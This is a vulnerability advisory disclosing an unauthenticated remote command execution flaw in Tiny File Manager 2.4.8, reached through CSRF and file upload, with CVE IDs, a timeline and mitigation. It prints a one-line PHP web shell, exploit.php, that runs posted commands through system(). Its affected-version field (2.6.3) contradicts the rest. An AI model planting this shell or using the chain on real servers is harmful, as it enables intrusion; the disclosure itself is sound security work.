Tiny File Manager 2.4.8 - Remote Command Execution

Summary

NameTiny File Manager 2.4.8 - RCE
Code name
ProductTiny File Manager
Affected versionsVersion 2.6.3
StatePublic
Release date2022-11-21

Vulnerability

KindRemote command execution
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSSv3.1 Base Score10.0
Exploit availableYes
CVE ID(s)

Description

Version 2.4.8 of Tiny File Manager allows an unauthenticated remote attacker to execute arbitrary code remotely on the server. This is possible because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.

Vulnerability

This vulnerability occurs because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.

Exploitation

To exploit this vulnerability, the following file must be sent to the server as administrator (to achieve this I will abuse the CSRF present in the application).

exploit.php

<?php if($_POST && $_POST['password']==="AGSH635479302H235") { echo system($_POST['cmd']); } ?>

Evidence of exploitation

RCE-FIleManager

RCE-FileManager

Our security policy

We have reserved the CVE-2022-23044, the CVE-2022-45475, the CVE-2022-45476 to refer to this issue from now on.

System Information

  • Version: Tiny File Manager 2.4.8

  • Operating System: GNU/Linux

Mitigation

An updated version of Tiny File Manager is available at the vendor page.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/prasathmani/tinyfilemanager

Release page https://github.com/prasathmani/tinyfilemanager/releases/tag/2.5.0

Timeline

Time-lapse-logo

2022-11-17

Vulnerability discovered.

Time-lapse-logo

2022-11-17

Vendor contacted.

Time-lapse-logo

2022-11-17

Vendor replied acknowledging the report.

Time-lapse-logo

2022-11-17

Vendor Confirmed the vulnerability.

Time-lapse-logo

2022-11-21

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.